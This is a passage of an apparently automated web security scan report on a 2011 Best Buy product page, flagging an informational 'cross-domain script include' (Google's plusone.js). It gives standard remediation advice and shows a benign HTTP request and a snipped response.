...[SNIP]...
<li><a class="ftr-idx" href="http://bestbuyideax.com/" data-lid="ft_ide">Share your ideas</a>
...[SNIP]...
<div id="ftr-lgo">
               <a href="http://privacy-policy.truste.com/click-with-confidence/eusafe/en/www.bestbuy.com/seal_m"><img src="http://images.bestbuy.com:80/BestBuy_US/en_US/images/global/footer/eu_safe_harbor.gif" alt="TRUSTe EU Safe Harbor" /></a>
               <a href="http://privacy-policy.truste.com/click-with-confidence/ctv/en/www.bestbuy.com/seal_m"><img src="http://images.bestbuy.com:80/BestBuy_US/en_US/images/ghp/sw_truste.gif" alt="TRUSTe Certified Privacy" /></a>
               <a href="https://secure.globalsign.net/en/find/sealct.cfm?id=759637135" data-lid="ft_cyber"><img src="http://images.bestbuy.com:80/BestBuy_US/en_US/images/ghp/sw_cyber_trust.gif" alt="Cybertrust Secured" />
...[SNIP]...

5. Cross-domain script include  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bestbuy.com
Path:   /site/HTC+-+Trophy+Mobile+Phone+-+Black+(Verizon+Wireless)/2330093.p

Issue detail

The response dynamically includes the following script from another domain:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /site/HTC+-+Trophy+Mobile+Phone+-+Black+(Verizon+Wireless)/2330093.p?id=1218323066904&skuId=2330093&st=htc%20trophy&cp=1&lp=1&contract_desc= HTTP/1.1
Host: www.bestbuy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://mobile.microsoft.com/windowsphone/en-us/buy/phonedetails.mspx?id=1685&np=1569-1684-1536-1537-1538-1568-1690-1685&WT.mpe=oHP-car

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
X-Powered-By:
Vary: Accept-Encoding
Expires: Mon, 18 Jul 2011 12:58:52 GMT
Pragma: no-cache
Date: Mon, 18 Jul 2011 12:58:52 GMT
Content-Length: 103169
Connection: close
Cache-Control: no-store

<!DOCTYPE html>
<!-- B:226 -->
<!-- B:005 -->
<!-- bbolsp-app05/dlpolsapp28-40-11-6 -->
<!-- E:005 -->
<!-- B:0OE -->
<!-- B:0ZX -->
<!-- B:0ZV -->
<html lang="en-US" xmlns:og="http://ogp.me/ns#" xmln
...[SNIP]...
<!-- PDH -->
           <script type="text/javascript" src="http://apis.google.com/js/plusone.js"></script>
...[SNIP]...

Report generated by XSS.CX at Wed Jul 20 07:15:11 CDT 2011.